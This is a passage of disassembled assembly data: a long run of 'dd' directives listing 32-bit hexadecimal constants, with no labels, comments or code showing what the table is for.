dd 17E6FEA6h, 265A711Eh, 0E9799084h, 0F022DAB9h, 307E90B7h
dd 0D6720Ch, 0D0E3AEBCh, 80FE38BFh, 0E0132EEDh, 212BD1B1h
dd 44F560DDh, 0EC2012FDh, 7685808Bh, 17B947F0h, 4B1417Eh
dd 0BF31C11Ah, 172B0BB5h, 0F73580E3h, 0B00BFE2h, 2B08FB09h
dd 259D33C8h, 5E723111h, 51E1B181h, 3C93E998h, 2EA186DCh
dd 8852927h, 0FA0B8F9h, 518D8909h, 11D67331h, 0D12C50FBh
dd 0E32E5Ah, 6C538972h, 6CE939D6h, 0CFF83A13h, 8DC6FE06h
dd 0EEF603FFh, 443CCC13h, 0DD023A30h, 516900B1h, 0D2AA53E0h
dd 9500BFA3h, 177D8FA0h, 3229ED6Eh, 5FA965BDh, 2344F15Ch
dd 71F68A49h, 0A594DE1Fh, 0F8FE3237h, 0BB33FE1Dh, 12317C50h
dd 0E2167DB5h, 3C3484F0h, 0E90A1616h, 0FF6DE9A3h, 0BCEB81C0h
dd 2E4B8AD5h, 0C001F28Dh, 0B900210Dh, 6F9F0FB5h, 0F01E42C1h
dd 0CD2F0B5Eh, 6454C377h, 1D0C0E0h, 3F39B524h, 0B70FFC81h
dd 0B7F62BDFh, 0A8D28086h, 1D149AA7h, 0BA54B914h, 0BF5180B8h
dd 25A27620h, 0CECD5B48h, 4172CDA5h, 2B7D98DEh, 0FCB01924h
dd 0A2A90499h, 0AAE15873h, 5FCA8304h, 9DE0AAF6h, 0C902E7DEh
dd 0B8C8C1C4h, 90255003h, 889E4B03h, 4A4FB7DDh, 0D380E131h
dd 0E9B25CDEh, 565299DBh, 1C905CA9h, 42B7BDh, 9C56ED9Bh
dd 0A5256AC4h, 1183C524h, 7892E72h, 0F7DF1518h, 811297E9h
dd 2ED80E41h, 503A5465h, 71041C23h, 34EE27F5h, 0A90BBA60h
dd 0E181053Ah, 2E886EAAh, 2C12DDBAh, 0FA0212B2h, 9B593D2h
dd 0AD173E0h, 5BA31C97h, 67E31170h, 310066ACh, 0ED030293h
dd 4B9639EEh, 17BF8AFCh, 0E39E0459h, 102BD680h, 4E4CF65Dh
dd 1C6112E0h, 0EF88E0E3h, 2AC126B1h, 95D18C04h, 0C9045679h
dd 3D104B1Bh, 0F9B0BBACh, 0CBB605Fh, 162FCB79h, 807FDB15h
dd 3BA1C6Dh, 255920BDh, 0E2CEB725h, 0B1375501h, 0AC1E3700h
dd 97FF8A4Ah, 2348FF24h, 0F7B9DCB7h, 48C18ACh, 72FCF771h
dd 0FC1CFF1Ah, 0A5FAC525h, 0A6007AB5h, 0FDE1CB1h, 62DBBE87h
dd 9005056Dh, 0A238D6A5h, 0FBF5BD80h, 3316137Eh, 0E75666E2h
dd 2390D7C0h, 975279Dh, 0CF007E3Fh, 809EE5ACh, 8A404B43h
dd 0BCBB02EAh, 756656C6h, 4758330Eh, 3FF15F52h, 0CBB27E12h
dd 1C116D40h, 92B00397h, 2E130DBh, 8109DD52h, 37585FBFh
dd 91B894Ah, 0AB017884h, 4B8D382Ch, 0F939C1Dh, 0A4CC2FEDh
dd 0D3E912DFh, 0A21EA701h, 7FA426Bh, 0B8708E6Bh, 16665864h
dd 0ECA7E9BBh, 9AC94A54h, 0F2B86D29h, 8501AC1Eh, 6B90ED6h
dd 4AA5E8D2h, 0F14EBFCBh, 0BAD5D253h, 810FB7D0h, 1BF72625h
dd 89BFD4E9h, 83CA0295h, 4AB54C67h, 0F446D951h, 1822675h
dd 2B65BD84h, 0F994242Eh, 15B8D1h, 9034EA84h, 8B60379Fh
dd 9661CF17h, 99A11702h, 7851F350h, 4F278707h, 0AF4782E5h
dd 1BB5578Bh, 0B2801A91h, 9A08DD03h, 6805A290h, 6A5B0E5Ah
dd 0C04A61B8h, 440DA5D3h, 359856F4h, 5BDAD554h, 75BA1297h
dd 0AC70A8F3h, 8F400CCBh, 0E15C721Dh, 9D501440h, 0FB383187h
dd 24045202h, 85809AB7h, 89A3EBEAh, 0BFA54E8Dh, 14698E27h
dd 707BBBCCh, 33049C73h, 61F529B5h, 6592381h, 2185B217h
dd 0B5259E57h, 9C0F1805h, 52009A96h, 0A8921E05h, 72F267h
dd 0B7869B60h, 0BB19D812h, 0F753A527h, 5B5FBF10h, 6E121497h
dd 8FC91F26h, 47740B92h, 77BC0340h, 0F7891610h, 8D1AA084h
dd 125B2B40h, 0C821E9F5h, 2EFB69F1h, 0ADA5D93Bh, 4833B8EBh
dd 8D13D790h, 5645359h, 461C7D5h, 0CD2A85D4h, 5B8535DEh
dd 7501C149h, 4B90AE66h, 0E5F92506h, 0FCD2101Bh, 0E1038C1Bh
dd 71234FCh, 5CAF8A22h, 667F4996h, 0A2360023h, 0EB21C78Ah
dd 6E489D10h, 5E8DB325h, 9406E8Bh, 82B1104Fh, 5EFDC7D3h
dd 77706BA1h, 15380341h, 0C8829A5Fh, 0F808C515h, 2A19C0CAh
dd 1CD476C1h, 4015BDD2h, 45BE3C3Dh, 3BF3899Ah, 59B81312h
dd 0A66AFBA4h, 4074E12h, 0AE2EADF8h, 25575273h, 1E79D9DEh
dd 50F2F349h, 8D983ED1h, 0FF587225h, 3CF51A20h, 1500F136h
dd 9673E031h, 444BF50h, 893D5FCEh, 0E1E6EB34h, 21D70AE2h
dd 35DB5C2h, 0FC5712Ah, 0EC443B80h, 74AFC5B7h, 0A8EBE90Eh
dd 607B012Eh, 958B88B1h, 42092AEDh, 0D6017461h, 0A3001A46h
dd 9E541493h, 5EBE8561h, 64DE0840h, 34492436h, 1A7D08F6h
dd 0FBB3C2A5h, 0FF37D0BEh, 757CF104h, 78811573h, 0DB2B2455h
dd 0C01CC820h, 79CC5EFEh, 0CE3CED04h, 29C1CFAFh, 892B15D9h
dd 0D61B38E8h, 8E08804h, 6E5FBDBCh, 11DE0710h, 0F364F0E6h
dd 0A64EB9BCh, 0F179E080h, 0F7F84AD6h, 0AC74492Ah, 4BFC9F6Fh
dd 95098543h, 8B127EBDh, 4BCCF3D8h, 956A578Ch, 0F5E2FA4Dh
dd 27B85933h, 0D1502D45h, 0A44C01ADh, 0C08060D7h, 0A7857EDDh
dd 16AC14F9h, 0D374178Ch, 0E5770C8Fh, 8E9996AFh, 61AFC080h
dd 0FA0AA4h, 27D4A184h, 0A3B6F159h, 7760E9BEh, 6C6BBBh
dd 0EB45899Eh, 1B86A754h, 65460E00h, 60CAFCAFh, 715B7351h
dd 965F1961h, 6E813466h, 18C8C89Ah, 3DCE3AC0h, 89710467h
dd 0AA0E959Dh, 14C8AFDBh, 8BF53BC0h, 9E9497FEh, 823E3245h
dd 0FBF19601h, 3015003Bh, 84030BD3h, 316500C8h, 5D34FDD0h
dd 577C80F2h, 432AF027h, 0CB044B5Dh, 9606406Dh, 2790FC55h
dd 754CE16Ah, 41694CCh, 0DF80098Eh, 0E3DDAA68h, 0FFA86A3Dh
dd 153F0114h, 16249450h, 9CBD04F9h, 39C2BAD3h, 0FAA7D061h
dd 6620ED69h, 97C67BC9h, 3A45A494h, 4AC9C130h, 6106F721h
dd 0A7D3F748h, 6F4C122Fh, 11DA0056h, 9B8E58AAh, 0C5094AB7h
dd 5C7BAE2Dh, 0A003043h, 8D6EF7A3h, 861CE946h, 942FFF2h
dd 5E1AC1BDh, 71DB696Eh, 138C7150h, 7F18273h, 990A0560h
dd 0C401776h, 0EC6922h, 9A8A7766h, 0AF730799h, 0D9DD1A0Fh
dd 7DF75219h, 81FC9A5Eh, 1DA68D4Eh, 4AB7BCD4h, 0DB7ED4F8h
dd 0CDBED384h, 7422382h, 0A5C16BDEh, 585E32C0h, 6EF304E2h
dd 0E8B7D4B1h, 0E8E617DDh, 5A4B30BDh, 0C249100Fh, 12EE0616h
dd 0B618CDF8h, 0C060F22Ch, 970971CEh, 9D8B7790h, 0C982BD4Bh
dd 0B9BF9890h, 2B8D00C5h, 0CB65DAE1h, 53005FBBh, 6331D63Bh
dd 0F150868Fh, 125A8130h, 0E6905BD0h, 0FEDCE0B8h, 1345705Ch
dd 0BE60EBD1h, 0E3066CDh, 0FCA9B430h, 0EF7AE401h, 19D2F850h
dd 4F751F70h, 9238DF09h, 0B9964FFCh, 8C1AAC53h, 54FA3A01h
dd 0D8513194h, 409D202Eh, 2F00FBA4h, 0AE71E3C5h, 988687Eh
dd 0BB9BA3CEh, 5BA504D3h, 0F64350B0h, 0B10076FEh, 533BF60h
dd 2C8B65B3h, 0AD40398Dh, 0D9938770h, 18F00778h, 0A50E44Eh
dd 0AE136EBBh, 1A24418h, 60FCA789h, 0A005C663h, 9787AD7h
dd 26A5EC0h, 48DC3B54h, 0D1102094h, 0CF801D02h, 44EB896Dh
dd 14A7729h, 0F0FC3D55h, 6103B5ADh, 8026685Ch, 975C901Bh
dd 0CBA0B5A4h, 3D8C78BFh, 0B79F6A7Dh, 4BDE003Ch, 0CBA69315h
dd 81D9822Eh, 35355552h, 42A9F1A5h, 9C5799E9h, 0CE02169Ah
dd 49A7A18h, 65B03582h, 0DBE03FF6h, 0B52789A3h, 7B2009FDh
dd 80CDAF65h, 0A384EC40h
dd 0BD230849h, 252A25E1h, 907B540Dh, 0D9610260h, 405EB83Eh
dd 98093EE2h, 0CD904F1Eh, 3EBCE50h, 2BE9158Fh, 60520774h
dd 972F59F9h, 0BA48074Fh, 0D0F647E0h, 0BD0B1708h, 6BB5A18Dh
dd 9A3BEF9Dh, 0F1B781A1h, 0AEF81AA4h, 3BC4139Bh, 24E80131h
dd 3BFF6A7Eh, 0A0012D6Eh, 0EA3EC897h, 0EA914576h, 8B85275Fh
dd 0B6C15BD9h, 7A2A2319h, 0F8820F09h, 0F8F0C974h, 8A0E4EB1h
dd 0EBB47E93h, 11D4142h, 0C2B032B3h, 0FE40F774h, 0C01150h
dd 87548BE7h, 2A6ECAB2h, 0B52F29F6h, 0C6352C5h, 71E470E6h
dd 0E6B5114Fh, 41BB45D3h, 2E08F940h, 0C06A4E89h, 0BAAED40Eh
dd 0B7D217F5h, 0BF99E0D9h, 0EDCB13B3h, 815CA071h, 0FD53EF09h
dd 5DA65766h, 0BF00442Bh, 0D18B70FEh, 65E9EBB3h, 0BCFC4B83h
dd 2E6B80B2h, 0D047E1h, 78B4A933h, 19A60174h, 4C2C090Eh
dd 3D8572B5h, 0BC5F34AFh, 0C380085Eh, 1DE0B1E9h, 5E323A2Dh
dd 0E9F92119h, 6D0DAC45h, 3E32A960h, 0CCEA00ACh, 47CEA425h
dd 4D2782F7h, 9668461Ah, 48E425D4h, 10D02053h, 0D94B2C65h
dd 77047E49h, 0E3C43E17h, 5E495D1Ah, 4BE8CE45h, 70C27B2Fh
dd 0DC163476h, 5A0F8C5h, 4C02830Eh, 0C591FBFh, 0CD92E063h
dd 0BFE5B51Ch, 508C7BA7h, 0FF3B82A9h, 0FAE50112h, 0FF8B9F5h
dd 0ED5D8748h, 36FCE111h, 0D7A2F14Fh, 5EBFA570h, 617AA0D8h
dd 140469Fh, 0A84B5B4h, 0F110B0DAh, 66092BEDh, 76595Fh
dd 9D955A06h, 0CA1D2D01h, 7AA78D89h, 0C02B264Ch, 9400DE3Ah
dd 0E20B0CAh, 1993C07Dh, 7EF9CEA3h, 78243AD9h, 73F6F212h
dd 0A555B6D2h, 5F8FB2AEh, 3FE05CB6h, 9AD23294h, 0D84059F2h
dd 2D7BF135h, 496A2B3Eh, 49DC9802h, 7A74F562h, 21846D6h
dd 0C658F205h, 27175DCEh, 401D4DA7h, 2921409Dh, 77FC3FE9h
dd 717DCA4Bh, 70DA8B88h, 78EFBFB8h, 0F0808367h, 0E8A88Dh
dd 813ECCD5h, 2E5DC2DBh, 9C9D434Eh, 0C1A8D73Dh, 0F689FA24h
dd 922AF108h, 7386FE1h, 2FB6D54Ah, 95096E60h, 32479735h
dd 5F03FB89h, 0CB0140BDh, 0E9CCEE76h, 50E64CA7h, 391A512Bh
dd 0DD210110h, 6E181CF9h, 722BE800h, 6ABA805Fh, 4E1ABA5Bh
dd 21978A60h, 818D0472h, 0B7600B29h, 216782F4h, 0BF783E8Bh
dd 42A44327h, 845EB786h, 0E8110EACh, 29F65A7Eh, 5B0E96E0h
dd 38289F09h, 447FD2B1h, 55B26040h, 45B53319h, 743A61FBh
dd 0A031E687h, 9E6A774h, 1C4E783Eh, 90A583D1h, 0C8351Ch
dd 0F9F8FD2Ch, 10097572h, 0C671EB02h, 432B84C5h, 908514D2h
dd 0E25A1BE8h, 7AB00E2h, 6367BFA5h, 0D911725h, 0B836310Eh
dd 4B90C0FEh, 27A6F701h, 26FB7DCBh, 0E50E8CCh, 5F1B3EDBh
dd 5DCCBBB3h, 9C7212BBh, 0E1C9C590h, 309E7BB0h, 9D006D94h
dd 0C571088Ah, 6803D935h, 957BB0B6h, 16AEE40Fh, 2CF56212h
dd 111727Fh, 0DE1D8333h, 3EBC9867h, 4900A5FCh, 316AA353h
dd 9BF898Dh, 0D61B5EF0h, 0E1271446h, 4BF7D46h, 0E9022C76h
dd 6F550187h, 0D04F41A4h, 0B83420CBh, 40B0F077h, 35224924h
dd 0B7779066h, 0E92B2884h, 8531C25Ah, 25FDDE6Dh, 0BF0459E6h
dd 5F244A28h, 0E9D258E9h, 0FB1A872h, 8FD1DC80h, 880F9CAh
dd 891A2A9Dh, 57EDC204h, 64252A45h, 526F00E0h, 45D513C8h
dd 8018EF2Fh, 0BD9AD3F3h, 881C4E61h, 0EB3D8163h, 2E138177h
dd 0E8605696h, 0E5806978h, 186BE7E0h, 87C4E00h, 168EEDA3h
dd 0ADE800D0h, 0F2CEA99Dh, 0E2008A5Eh, 0BB505B61h, 25C8F3FDh
dd 0F85B9676h, 1EF7D70h, 1B1CDCDDh, 68119D09h, 67CD4BECh
dd 0C562DC6Bh, 90683040h, 0E1882475h, 0ADB9824Fh, 0B7DD1E96h
dd 0A9FA0344h, 5FA0C78Dh, 34134498h, 6CA1F5DAh, 0C0C6DE6Bh
dd 70987BA5h, 95292753h, 0FFC90ADDh, 0B4DDCE25h, 0D7A83CABh
dd 157D2DCEh, 0BD0472F3h, 5E14266Dh, 11059D09h, 0FE228D1h
dd 2630758Eh, 330BB308h, 743049BDh, 3B2D7133h, 74E889EDh
dd 453E7D02h, 740DB71Ah, 0B529401Ah, 768730ADh, 699D8904h
dd 0B3FE1423h, 756300E1h, 5B94CF0h, 61250073h, 48E02042h
dd 2EE8165Eh, 0C031C858h, 22C57A3h, 8F6A01D6h, 0D1B7DBA7h
dd 7BB9DC50h, 43F29497h, 0F06A5F20h, 0ECF9221Fh, 75486041h
dd 3400ECD7h, 407D8E02h, 0F8442CC1h, 7F220992h, 1167525h
dd 0F776DE69h, 2EE0184Dh, 93A612Dh, 1244CE63h, 0D64A5309h
dd 165970FBh, 0BA258618h, 9FD0EEB0h, 9A015235h, 0FEB70F5Ah
dd 0AE24122Fh, 0AB12127Bh, 5BE5F7F8h, 3E006F6Ah, 0B6EE40E4h
dd 81005532h, 539899DBh, 9851964Dh, 0ED5FE6B5h, 8DECB6A5h
dd 73C90997h, 33B5AFB5h, 92983D00h, 0AA4E512h, 0B5B76F8Eh
dd 0D94FA58Fh, 0E6F25361h, 7E3050CDh, 8105E309h, 2F0D0775h
dd 10BDAA74h, 434B6DA8h, 14C89FDAh, 60EF2AC4h, 919D3165h
dd 0F27AE9Ah, 8CBAD58Ch, 85630EFEh, 7D6E84Ah, 5AC10026h
dd 61240A96h, 5197C283h, 0EB9E02h, 0B1B96020h, 0D37E2E0Dh
dd 4309D6E8h, 781F79FEh, 51095CA2h, 0B913845Bh, 89AD289h
dd 7DEC0E81h, 7D602FE6h, 9F6ADAB7h, 61E0034Dh, 9371362h
dd 0DF7B52A8h, 6C9568D8h, 0C8EB04C9h, 0AB5B9255h, 3BBBBCD8h
dd 7627A577h, 97B74462h, 8202E080h, 5C589C2Ah, 0C948D1C0h
dd 32736269h, 36181C59h, 5116A100h, 963EDCF7h, 0FB0F4ED6h
dd 5DBF7B40h, 971C64D7h, 6E603B99h, 0C8A11720h, 97372C98h
dd 35C102BBh, 2D5E61AAh, 81153951h, 531F9D2h, 1DECF612h
dd 0CDC8FA93h, 0EC650145h, 27C9D8A2h, 15A120F4h, 0E98B97Fh
dd 1A0BE928h, 6255C903h, 809E657Fh, 94A3F70h, 0B9953196h
dd 9209AA42h, 5FF0D5FBh, 395309C5h, 8A1B5A41h, 3548DDE0h
dd 0D600EE79h, 0C95BD03Fh, 160A6730h, 0BD02C8DBh, 0C8BD8E82h
dd 700B2D2Fh, 355D4BC2h, 80199145h, 0C5B557A2h, 0C2B05031h
dd 86C225EFh, 4439F87Bh, 0A6170525h, 838F5F47h, 9F4A1956h
dd 3EC8F9E2h, 0DD9D0382h, 0E9555E08h, 0DC815Eh, 0EF120C2Ch
dd 0B0BB8E38h, 0D1852909h, 40C55E10h, 20ED381h, 148767F0h
dd 530EF53h, 0B0E95F35h, 29CDE095h, 0C89259Dh, 19E440E7h
dd 299CD160h, 0CA593E14h, 57916D5h, 4F098AEBh, 2553FFBh
dd 8A25BD22h, 0A7295EFAh, 0D0706773h, 0A976090Ch, 2B052B91h
dd 343FAF24h, 76031423h, 4A75B529h, 0D29120E9h, 12004EB6h
dd 85998849h, 55C344h, 0B07DBEA4h, 0D535693Dh, 81A2175Fh
dd 0A4665B00h, 86BFFE91h, 7768E30Bh, 9A778DCCh, 93B4ED6Ah
dd 0AD038294h, 0FD18DE2Ah, 75C0C5DBh, 42BFDA23h, 0A5685E38h
dd 58A1E0C2h, 858909EAh, 0B5571965h, 801B11A3h, 141FCE6Ch
dd 53190080h, 5690BF0Dh, 0A5907C7Eh, 5F0B0920h, 60842050h
dd 0BA00A708h, 7DD66F27h, 12C0EAD8h, 5C9ADE86h, 0C1B5C900h
dd 0CBDB5929h, 38A545D1h, 0C2A50BF1h, 0C4F3D540h, 0B7CCE6D1h
dd 0BD5F4E77h, 8C17AC11h, 34157202h, 4DD1FFB5h, 5897E19Dh
dd 0E8C27BF5h, 1A1C5D14h, 18F2C043h, 2568AC30h, 4B567A16h
dd 6AF2A802h, 0CFB75D02h, 0D6B7FA00h, 9DFD8AD5h, 0FCA56571h
dd 243FE004h, 0EC147629h, 22D2C2C5h, 0E7B90013h, 0CD8D7FFAh
dd 1A00B17Ch, 64826CCFh, 0E086CADAh, 0FCFE4A48h, 0F5B0971h
dd 408A5C31h, 9CACB84Bh, 0B2103A0Bh, 132FFC6Dh, 6BF290h
dd 0ABAD3650h, 7841C17h, 6C31FD3h, 0C40500F9h, 8F4A4E7Dh
dd 4FCE96F0h, 2DAC043Fh, 582CBA2Bh, 71E6B7FBh, 0E9D1B709h
dd 71607429h, 27F22134h
dd 86B0A09Fh, 518CC54Eh, 0D9A4890Ah, 66D82B1Bh, 41CF0125h
dd 1207C290h, 75E4F408h, 17DA4B12h, 16AC92E9h, 6B18138Ch
dd 2C73F1EBh, 0E0F88096h, 61E6B0h, 2A3F103Dh, 36AB86B7h
dd 88696607h, 0FA69C9B9h, 0EDFEAA7Fh, 685AC047h, 4A7C1F84h
dd 799EF225h, 20A105ABh, 1C93C009h, 1F04EB46h, 532419ABh
dd 0EC9044BDh, 0B838A04h, 0D644BC40h, 847D9BABh, 3CBDF3C4h
dd 801BDAD3h, 0F16C7455h, 0FF6A27F8h, 0E1070AB7h, 0E3E0A725h
dd 5CDDDB62h, 992DAF37h, 0FB24F3FAh, 1115757h, 0F65FFC12h
dd 1D2E3011h, 25F98B53h, 26E4315Bh, 57B8B070h, 1025A520h
dd 56670E6h, 71E491A6h, 9EA29BC4h, 37EAD980h, 647B27F9h
dd 62537803h, 0A88C51DDh, 970F6A56h, 0EBEF1BA4h, 1AD0A9Ch
dd 1795F45Bh, 0F0222656h, 1BB0D070h, 4B1ADD20h, 8B2CC15Bh
dd 29202FFAh, 814DDF80h, 61DA7060h, 5ED21141h, 0DB80042Ch
dd 8129BC7Fh, 498D2956h, 0B75FA624h, 0E8D1A122h, 2CFE6480h
dd 0E300155Bh, 2DC3B01h, 69304A6h, 41A2F767h, 9122446Dh
dd 87E93307h, 11E1093Bh, 70216A31h, 98921B53h, 0FED2C804h
dd 463E8B97h, 0ED3ADD7Fh, 25FCE02Fh, 150D41E9h, 52E9A781h
dd 9D0B0F85h, 4B43E841h, 9901358Dh, 0F62A16EDh, 43722D7h
dd 71BD8956h, 7B5B090Ch, 52BF013Ah, 47A18B0h, 0C0FE5914h
dd 0FEC78155h, 7D480015h, 0FAB15CAAh, 3F1CF519h, 0A549DFF9h
dd 84F7B47h, 467C5BE1h, 3F93481Ch, 0D3100194h, 6ADFE46Bh
dd 0C0BDDB3Bh, 9F08C831h, 0F3E3173Fh, 0EFE630F9h, 6400D857h
dd 40FD0478h, 45F6341h, 69B5094Bh, 3B9BAE2Eh, 0E1CE1BC8h
dd 99F52B91h, 609EF12Eh, 244049A6h, 10CF38B9h, 0C0099B4Ah
dd 0B9B7D35Ch, 0D76A008Eh, 57BF90FBh, 619734B1h, 9B2AFC83h
dd 0B8D99773h, 2089B29Dh, 0FC5FE195h, 0CBB88C7Dh, 8B0B7874h
dd 8034E562h, 2BCE5644h, 84954A9Dh, 0A897AD8Fh, 57138C15h
dd 3CE3BA14h, 0A23015F2h, 0C151BEC9h, 6E23E19Dh, 0DA4E11DFh
dd 0BEB4801Bh, 4FD5E50Dh, 0AFBFC807h, 3F4F0109h, 0C8DB0F53h
dd 0B5D5AD19h, 6DD3840Bh, 8183E80Dh, 0ED4EEBC7h, 603CC86Ah
dd 0C802EB9h, 8B849439h, 7ADC0393h, 0D60656B7h, 0CC801798h
dd 5B61C613h, 0BE5D06A2h, 0DB97E8B8h, 3D18873h, 0F8139424h
dd 0FC2505A3h, 3363E6E5h, 7719CA9Dh, 7540FCCFh, 0B8BD71D0h
dd 159120BAh, 17BF6609h, 47F17957h, 0BDD70955h, 451102CDh
dd 774458A3h, 0DCF7D49Fh, 0D7436513h, 284C02A3h, 0BF10D51Ah
dd 4E8B15C0h, 0E5E1FF25h, 42F39C2h, 0DDD271F3h, 0CF0254D1h
dd 0C10CA72Ah, 9DA1543h, 350D1B02h, 0EC71C75Eh, 0E98D3110h
dd 3CB3344Bh, 0B7ADA388h, 84550926h, 2DE47474h, 0EDA494BEh
dd 0E3B8B832h, 6EC1172Fh, 1AEF09F2h, 94C1789Dh, 8503409Ch
dd 0ED002396h, 333C200Eh, 126DE5D5h, 0F4BDA13Fh, 14A5DB3h
dd 94A0D5A7h, 460B50FDh, 5C196DC7h, 0BCE140F9h, 221CC9ADh
dd 0CAC95F04h, 0A5D97BFEh, 370511B5h, 0A2BB8A94h, 7D4B0088h
dd 0B8E0707Bh, 2DC0EE6Bh, 63DB2BD1h, 0E8191759h, 0CBA0DD33h
dd 9004F88Bh, 6050DA8Ah, 0D85F2BCh, 47328039h, 0D90E941Ch
dd 0A2768102h, 7D38897Bh, 0BA66EB00h, 90EC5B3Dh, 0DF2B7B5h
dd 3A3A0C0Dh, 849C2h, 0B8852568h, 3A20B75Ah, 1C7EF6CDh
dd 8006C6E0h, 612B0D5Ch, 0E6012188h, 518D3B80h, 0A32BA99Ch
dd 0DD8A132Eh, 8CAC7384h, 667EDA04h, 0E5F4F648h, 98D4DC9Ch
dd 2B252579h, 0D16265D9h, 0E9121412h, 1298016Ch, 80ED0075h
dd 0BF6ED938h, 970051B6h, 0A3260943h, 25E740B3h, 0D0E2870Bh
dd 605CEF75h, 0B177BBF3h, 0FEA60E5Bh, 4B35EE50h, 29EBDC05h
dd 104B9D77h, 893744B7h, 0BD2CE4E1h, 0A1BBCAC4h, 0E27FA00Bh
dd 31B55C85h, 3150FF0Ch, 0A0822829h, 745EE2C5h, 0CBD60008h
dd 55E1EC52h, 0E50217CAh, 89EDB797h, 0E4CD5734h, 0C048DCE9h
dd 1CA5BD29h, 62ABBA97h, 9F237782h, 0DAB00F68h, 9849B3DCh
dd 0A6F0041Bh, 0D8EE2344h, 0EB848D75h, 88EADA6Eh, 4D0CC019h
dd 0EB078474h, 0A1A5BF75h, 0C7826B24h, 3EB14056h, 0FC595CBCh
dd 0BEDAC038h, 0FFE63F16h, 1B9A3CE0h, 126E2201h, 0DAC255A9h
dd 2FC5D571h, 0E3D8C04h, 2ACB39h, 0D1D015B6h, 9377219Bh
dd 13511675h, 21F5F55Dh, 0BA9B3A03h, 1982AB8Bh, 0E15EB7D9h
dd 3FE78158h, 2AA5F36Eh, 0CD27D6EFh, 1DAF43E3h, 0F2257EA6h
dd 3BD6E444h, 1621BD0Bh, 0F810A7DDh, 3700DD80h, 78162642h
dd 126C73F6h, 0F66625E6h, 3CA5E037h, 3B429FC6h, 9A53D75Ch
dd 0ABBDD504h, 87C41700h, 24FF71A2h, 1772E44Bh, 1360E821h
dd 0D0A30639h, 0EF03C984h, 0D701E97Ah, 6D85018Eh, 7B26A1Bh
dd 0A86F1692h, 0DABD4AECh, 18C14B8h, 0B9BF52EAh, 2E3B8E83h
dd 9B8C54A0h, 610BF016h, 8418E87Dh, 0E5AE60BBh, 0B9668021h
dd 61CF6C12h, 0B65EC4F7h, 0D8D0A3D7h, 474392Ch, 0E7C47750h
dd 0A7C9EA01h, 75B5302Ah, 0ED00DBB5h, 0E301FB96h, 9ABB82CDh
dd 7AACA0DBh, 66959538h, 18BD6740h, 6B9000E0h, 0DCE9D381h
dd 0D39572A5h, 181D59BBh, 1EA1006Eh, 0F891F696h, 0A34C069Dh
dd 38974EFh, 0A33BC5E9h, 0BB6B9674h, 0F2319705h, 0FCBE2ECh
dd 81990A3Dh, 0ED9450FBh, 4B79BD60h, 4CB6A706h, 1C2512D5h
dd 0FAD294E9h, 9C538C16h, 5AAF6BEEh, 0CA65DA61h, 41090760h
dd 0DE172E11h, 2D7CDA6Eh, 4579F999h, 553DC400h, 0BB13CBEh
dd 0AC4C15DAh, 99724D0h, 0AD2137F9h, 9A975F4Eh, 8B84DD16h
dd 867781DEh, 4DB72BB8h, 0A4707FB0h, 0E5076B02h, 609A9447h
dd 5BDEBF80h, 7454556Ah, 0F1210E93h, 0EDFC2F10h, 631464DBh
dd 0FF6425CDh, 791D24D0h, 82B450C9h, 5AA03C35h, 5F054029h
dd 640B4D97h, 0E3376016h, 9D2B096Bh, 1C5D0649h, 8023444Ah
dd 0A479C730h, 5CD4B6BFh, 38C0F650h, 97DD20B5h, 0ABA71F09h
dd 743BDDC1h, 0DAB7D013h, 1DB25FA6h, 9FC130h, 0A294EF7Eh
dd 91CE8630h, 0B73C69Dh, 1475B509h, 9EF01657h, 0BD14D49Fh
dd 965BF50Ah, 91BAFD2h, 63288DD5h, 69C15EEAh, 0A7703C7Bh
dd 21C01CFBh, 0D0E565AEh, 0D482A11h, 0F71B4D12h, 27884AD0h
dd 0F2A00002h, 89A344E5h, 0FF005A90h, 712F27FAh, 7DAA1042h
dd 5AB77F51h, 0A6F1B95Fh, 23F92068h, 0E229E925h, 4B755BAh
dd 13E4DF00h, 0EDE11631h, 13D2B928h, 4C32A94Bh, 12C12ED3h
dd 7B037909h, 815680C2h, 4EF66CBh, 5C5B5125h, 0AED8133Dh
dd 7B316830h, 5DD200B4h, 211A2B30h, 75008540h, 0E74E0502h
dd 561DC679h, 29B06390h, 3AFE5F96h, 90D282Fh, 0DE697CC2h
dd 901C47Dh, 0BA0FFE61h, 0F5731AFFh, 42F4E45Bh, 9EB7B200h
dd 583849E2h, 8FD6B5ECh, 46058E48h, 2FA118EEh, 8C6E13DDh
dd 7F00BB60h, 536050B1h, 968BB35Bh, 0AA70A731h, 6A5DC6F6h
dd 0CCFCE9F1h, 0D79E0192h, 8BDB354Fh, 690F30FAh, 90601732h
dd 8E3D5B29h, 0E20FE6Eh, 0CB756473h, 0A1B72B05h, 0FADE6A61h
dd 0AB8CA885h, 95F975D8h, 1B648AEDh, 0B911DB60h, 0F835D026h
dd 0D1FF7404h, 0C70059F2h, 0E4403A6Ch, 95017F52h, 0F83CB7E0h
dd 0F3D43D9Eh, 618613ADh, 1121E85Dh, 0B7712425h, 0FC047C4Dh
dd 0B5F6026Ah, 8CA420E3h, 0F807BA81h, 0BEF3327Ch, 2C47ED30h
dd 0CF8500D2h, 0F6ADE321h, 3179DD1Eh, 5BF5614Dh, 0AC1E6DA3h
dd 129C6667h, 0F9165251h, 8C19ACCDh, 9B862707h, 8289477Ch
dd 23521D0h, 1C5E28E9h
dd 8FEE5070h, 0A0228D61h, 0B96AAC71h, 13841298h, 0CAC05BADh
dd 0B3745243h, 0D60185E8h, 55F9F58Bh, 4726BE12h, 3F8C17F1h
dd 2C037808h, 225909FAh, 0FC5A725Eh, 0F902D427h, 1CEF6DDh
dd 0E8095578h, 0C803679h, 1AEE9CA0h, 0B53239D6h, 0FA1BD201h
dd 4FB914Bh, 0D1A67C00h, 1A5711h, 0AE810AB5h, 7E32E9CEh
dd 0BF520400h, 44F07D4Bh, 0BB90E25Fh, 6A1C796Bh, 0E9A41FBDh
dd 0CA2EB9FAh, 0DB800946h, 74D13Ah, 0E184BA32h, 0BF00A2BDh
dd 33C453DAh, 951675Dh, 7B8BC36h, 2360CADEh, 810B95BDh
dd 6A752F5Fh, 77A02EF6h, 90B50A4h, 0D70EEDBDh, 17B0804Ch
dd 6104C535h, 0BA4095AAh, 2C2E4108h, 0E5691F35h, 3EF4527Ch
dd 0CF82364Ch, 2F26E9F7h, 0DEC6775Eh, 0B0F82F2Dh, 16F79B40h
dd 70E6B913h, 97530FBh, 162D585h, 0E171E436h, 0DD2BD7FFh
dd 80762876h, 8C7609F3h, 6C0A12EEh, 0BB51F02Fh, 7B9EFC02h
dd 5E42B74Dh, 30BF4056h, 995F54Ah, 4193D75Ch, 53180CCAh
dd 30539860h, 8B172F91h, 5B1361F1h, 0AD0DC82Bh, 0C06BA3ADh
